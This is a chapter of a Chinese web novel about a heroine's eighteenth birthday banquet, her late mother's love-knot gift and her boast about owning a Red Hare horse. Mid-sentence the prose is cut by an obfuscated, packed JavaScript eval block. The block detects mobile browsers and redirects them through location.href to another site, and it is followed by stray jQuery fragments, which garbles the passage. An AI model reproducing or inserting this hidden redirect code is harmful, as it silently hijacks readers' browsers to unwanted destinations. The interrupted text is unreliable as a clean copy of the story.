25. 情窦未开
作品:《我当皇帝是为了你们好》 一大早,吴家下人进进出出开始布置宴席,姜元序难得地穿了身广袖锦袍,十安取出平时不用的首饰,一一给她戴上。
梳洗完毕,姜元序跟着吴善民到祠堂祭拜母亲和姐姐,点一盏长命灯,然后吴善民去厨房煮了一碗长寿面,连同一个盒子一起给她。
姜元序迫不及待地打开盒子,里面是个玉佩的样式,外头一个金圈,里面一个绳结,上系佩绳,下缀流苏。
底下是母亲写的祝词:盼儿遇良人,岁岁长相安。
吴善民给她解释道:“这是你母亲自己做的同心结,她知道你做不来这个,提前给你准备好了。她当时想着的是你十八岁该成亲了,可以给未来的夫婿。”
礼物是他和妻子一起商议定下的,那时女子十七八岁成亲是常事,他们也没想到不过十年光景,江州女子成亲的年纪越来越晚,十几岁成亲反倒成了稀罕事。
他想到什么,意味深长地说:“送心仪的公子也成。”
姜元序把同心结收回盒子,脸上挂上大大的笑容,高兴地说:“那我一会儿给财神爷送去。”
吴善民一噎,没好气地把筷子递给她:“快吃!一会儿客人该上门了。”
姜元序美滋滋地吃面,母亲准备的同心结就一个,心仪的公子说不定哪天就换人了,但她对财神爷的真心,生生世世,永不会变。
吴家大门敞开,车马往来不绝,贺客携礼而至,仆从脚步繁忙,将人引至厅堂入座。
谢青衍和王珣在门口和姜元序打过招呼后,随仆从绕过宾朋满座的宴客大厅,进入里间的私人小厅,韩乘霖和韩乘风早到了,许安宁和她母亲也在。
几人互相见礼,王珣四处瞧瞧这里的摆设,好奇地问许安宁:“姜姐姐是单独给我们设了一桌吗?”
“午宴多是外头来的生意伙伴,人多嘴杂的。”许安宁指指他旁边的三人,“他们身上有公差,多一事不如少一事。”
王珣点头,和谢青衍解释:“晚上是私宴,都是姜姐姐的朋友,晚宴过后我们去船上的画舫玩,书院新研究出一种烟花,专门给姜姐姐庆生用的,可好看了。”
许安宁拉着王珣打听新烟花是个什么花样,王珣支支吾吾不肯交代,说:“学院的规矩,新东西未经正式发布,不得向外透露。”
王珣没见过韩乘霖,和韩乘风却是认识的,两人同在国子学垫底,俨然一对难兄难弟。
他离开两年,好不容易见到曾经的同窗,缠着韩乘风问东问西,许安宁也时不时插几句,小厅里一时间喧闹得很。
许安宁的母亲有着和许安宁如出一辙的圆脸,和许安宁的咋呼不同,她说起来话来慢悠悠的,温和地引着韩乘霖和谢青衍闲聊。
宴席过半,外间的客人招呼的差不多,吴善民和姜元序到里间和他们一起用膳,等宴席快结束再出去。
姜元序埋头吃饭,许安宁给她夹些爱吃的菜,问:“今年姜姨给你送了什么?”
“同心结。”姜元序头也不抬道。
“这是盼你成亲了呀。”许安宁呵呵直笑,揶揄道,“姜姨怕是没想到,十八岁的你依旧是个木头疙瘩。”
除了许母,其余几人都有些疑惑,吴善民简单和他们解释。
“亡妻临终前给两个孩子备了接下来几十年的礼物,今年的是自己编的同心结,盼着孩子能觅得良人。”
吴家粮仓失火时,姜彩兰也受了伤,加上失去女儿的痛苦,身体一直很虚弱,尽管后来吴家光景好了,成为首屈一指的大粮商,延请无数名医医治,依旧无法痊愈。
那时姜元序已经到吴家三年多,姜彩兰感觉大限将至,于是在最后的日子里,给两个孩子准备好了一直到百岁的生辰礼,让吴善民每年送一件。
第一次知道此事的几人皆动容。
许母拍怕许安宁,笑说:“你俩谁也别说谁,一棵树上长出的木头疙瘩,情窍都没开呢。”
许安宁不服气,“谁说的?我帕子都送出去好几块了。”
姜元序忍俊不禁,嗤嗤笑了好一会儿,被不明所以的许安宁拧了一下,才道:“你但凡愿意出去买几块好看点的帕子,也不至于一个下文都没有。”
“好好的帕子,非要自己往上戳几个补丁,人家以为你在寒碜他呢。”
“哈哈哈……”许母大声笑开,“安宁绣的那东西,可不就是补丁!”
许安宁臊得脸红,气鼓鼓地争辩:“我好歹能绣几针,你一个针线都没拿过的人,也好意思嘲笑我?”
“至少我不糟蹋东西。”
姜元序的反击简洁且有力。
许安宁自知说不过她,负气撇开头。
许母捏捏她圆鼓鼓的脸,善言劝道:“安宁啊,以后要是再想送帕子,先跟娘说,娘给你绣几条好看的。”
许安宁睁圆了眼睛瞪她,这算什么安慰?还不是在说她绣的帕子丑。
姜元序幸灾乐祸地笑,吴善民忍不住拿筷子敲敲她的脑袋,“还笑呢,安宁好歹会送帕子了,你呢!”
然后转头问其他人:“你们猜,她想把同心结送谁?”
众人面面相觑,神色各异,王珣紧张,谢青衍慌乱,韩乘风一无所知,韩乘霖一脸看好戏,许母相当好奇,许安宁心知肚明。
吴善民缓缓吐出三个字:“财神爷。”
众人呼吸一窒,不约而同将视线转向姜元序,姜元序仿佛什么都没听到似的,默默往嘴里扒一口饭。
许安宁嫌弃道:“上次月老庙求来的红线也上供了,这回又是同心结,下回是不是要直接给财神爷下聘了?”
“你一条红线栓十个人,哪里懂我对财神爷的专一。”
姜元序毫不客气地回怼,又和呆愣着的其他人说:“看看我赚的钱,很明显,财神爷他就吃这一套。”
这话没法反驳。
谢青衍庆幸自己来得早,姜元序情窦未开总比情系他人好。
韩乘风殷切地和韩乘霖说:“二哥,很有道理啊,我们可以和关二爷栓根红线,一定能百战百胜!”
韩乘霖嘴角抽了抽。
听到这话的姜元序立即大声道:“小五,你直接把红线系你爹身上,一样的。”
韩乘风想到自家战功赫赫的老爹,以及和关二爷同出一辙的红脸,顿时蠢蠢欲动。
韩乘霖恨铁不成钢地朝他脑袋拍了一掌,警告道:“你要是还想要你这双手,趁早打消这个念头。”
又朝姜元序说:“积点德吧,感情挨打的不是你,随便乱教。”
他爹挥鞭子的力气,可比教儿子的耐心多得多。
姜元序看热闹不嫌事大,继续撺掇韩乘风:“你爹是刀子嘴豆腐心,不用怕,想到什么就去做,挨打了就给姐姐写信,姐姐给你撑腰。”
韩乘霖哼道:“你能让他不挨打?”
姜元序理直气壮:“我能给他找最好的大夫。”
韩乘风摸摸脑袋,察觉到了两人对话中的危险,悻悻地放弃给他爹栓红线的想法,还是给关二爷栓吧,关二爷不会打他。
“哈哈哈哈哈……”
众人纷纷笑开,小厅里其乐融融。
王珣道:“姜姐姐,京城护国寺很灵的,也供了财神,你可以去看看。”
护国寺的大名姜元序自然是听过的,感兴趣地问:“听说国师就在护国寺是吗,平时能见到吗?”
王珣在桌下拍了一下谢青衍,谢青衍立刻会意。
“国师行踪不定,也不接名帖,偶尔会在大佛会时开坛讲经,国师擅医,经常云游四海给百姓诊治,所以在护国寺能不能碰到他,得看运气。”
“既是擅医,为何会受封国师?”姜元序疑惑。
谢青衍答道:“国师不仅是擅医,占星、卜测、佛法自然、经史典籍、奇门遁甲均有涉猎,据说还擅武,司天监碰上无法解释的星象,会寻国师参谋,先帝和陛下都很信任他。”
姜元序啧啧称奇:“全方位人才啊。”看来不是神棍,是有真本事的。
王珣心中叹气,对自家表哥非常失望,又不是先生考学,回答得这么一本正经有什么用?
他抖擞精神,扬起笑容给表哥示范如何正确追姑娘。
“见不到国师也无妨,护国寺景色极美,四时之景,各有不同。上山路上有小集,多是各种小吃食,偶尔尝尝也是相当不错的。”
“从另一边下山便是皇家猎场和珍兽园,到时候让表哥带你去,他极擅骑射,你有想猎的想吃的,尽管和他说。”
谢青衍不动声色地踢他一脚,让他收敛点。
王珣不理会,继续道:“姜姐姐喜欢骑马吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211522|197420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?表哥有一匹乌云踏雪,可神气了,只听表哥的话,让他带你骑。”
明明说话的是王珣,其他人却时不时似笑非笑地瞥一眼谢青衍。
谢青衍尴尬地又踢他一脚,后悔昨天和他说太多,还当他真聪明了,结果小心思全在面上,姜元序怕是更加确信他是漏勺了。
姜元序的视线在他们两之间来回转了两圈,看得谢青衍坐立难安。
姜元序歇了逗人的心思,笑说:“我初到京城,人生地不熟的,麻烦谢大人带我好好玩玩。”
谢青衍小声道:“不麻烦,你有什么想玩的直接和我说。”
王珣觉得不够,想继续补充,谢青衍眼疾手快地搭上他的肩,强迫他转过身,另一只手飞快夹菜放到他碗里。
“珣儿,刚才都没吃多少,再吃点。”
谢青衍用眼神命令他:闭嘴,吃菜!
王珣不理解,但照做。
众人笑着转开头,不去看两人的小官司。
许安宁啧了一声,对姜元序道:“你到京城,是该换匹马了,人家骑马在猎场驰骋,你骑马在那啪嗒啪嗒走,多搞笑啊。”
“走马是好用,但跑马好看啊。”
韩乘霖也同意,接话道:“我们家有不少好马,你到时候来挑一匹。”
姜元序意味深长地笑了笑,含蓄地说:“我有新的马了。”
“呵呵……”吴善民掩唇轻笑,同样意味深长,“昨日刚收到的。”
两人的异样勾起了众人的好奇心,连忙催问是什么马,需要这副表情打前奏。
姜元序放下筷子,稳了稳得意的表情,扶了扶面具,轻咳一声,矜持地说:“韩叔遣人给我送了匹赤兔。”
“赤……兔?!”韩乘霖有点怀疑自己的耳朵。
“是那个传说中的赤兔马?”
“真的有赤兔啊?”
冲击太大,众人根本不敢信,以为她在开玩笑呢。
姜元序不装了,那表情要多得意就有多得意,手舞足蹈地和他们炫耀。
“跟传说中一模一样!全身火红,不是赤红,是火红!比婚服还要鲜艳的红!”
“四蹄发黑,像穿了黑色军靴的战士一样,雄赳赳气昂昂!”
“韩叔说巡边的时候偶然碰到的,派了一百多个骑兵才套住,一点驯养的痕迹都没有,完全是天降神驹!”
姜元序顺利收获一众艳羡,大手一摆,大方道:“一会儿带你们去看!”
光言语炫耀哪里够,当然得让他们仔细看看实物,看了才会相信世上真有如此神驹,而这独一无二的神驹是她的!她的!
韩乘霖拍桌,“还等什么!现在就去!”
其他人也同样跃跃欲试,饭什么时候都能吃,看赤兔的机会可从未有过。
姜元序严词拒绝:“不行,你不吃饭,马得吃饭,你不休息,马得休息。”
“等外边日头没那么晒了,再带你们去,晒着你们可以,晒着我的小宝贝可不行。”
这会儿家里还有那么多客人,他们是能走,她可不能走,她不在场怎么炫耀?
韩乘霖没那么好糊弄,姜元序不给他说话的机会,笑眯眯地转移众人的注意力。
“谢大人带骑装了吗?没带的话,我这边也有,一会儿让人带你去换,马场有不少好马,正好可以跑一跑。”
谢青衍瞄了韩乘霖一眼,还是附和道:“带了,我让云慎去取。”
姜元序又转而对王珣道:“你表哥第一次来,一会儿你带着他玩,午憩去客房或者凉亭,今日船也备好了,去船上休息也行。”
王珣不知道话题怎么转到这儿,愣愣地点头。
姜元序接着问其他人:“要给你们准备小船吗?”
许安宁哼道:“以为谁都跟你似的,喜欢往荷花堆里钻?”
姜元序慢条斯理道:“划一叶小舟,漫无目的地飘荡在湖上,偶然间挤进层层叠叠的荷花丛,听鸟鸣声声,看鱼戏莲叶,多少人求都求不来的心境。”
“你们这群粗人哪里会懂。”
姜元序嫌弃地指指点点,顺利挑起其余人的不满。
然后朝谢青衍眨眨眼,柔声说:“谢大人,你懂吧?”
谢青衍哑然失笑,顶着众人不善的目光,毅然点头:“懂!”

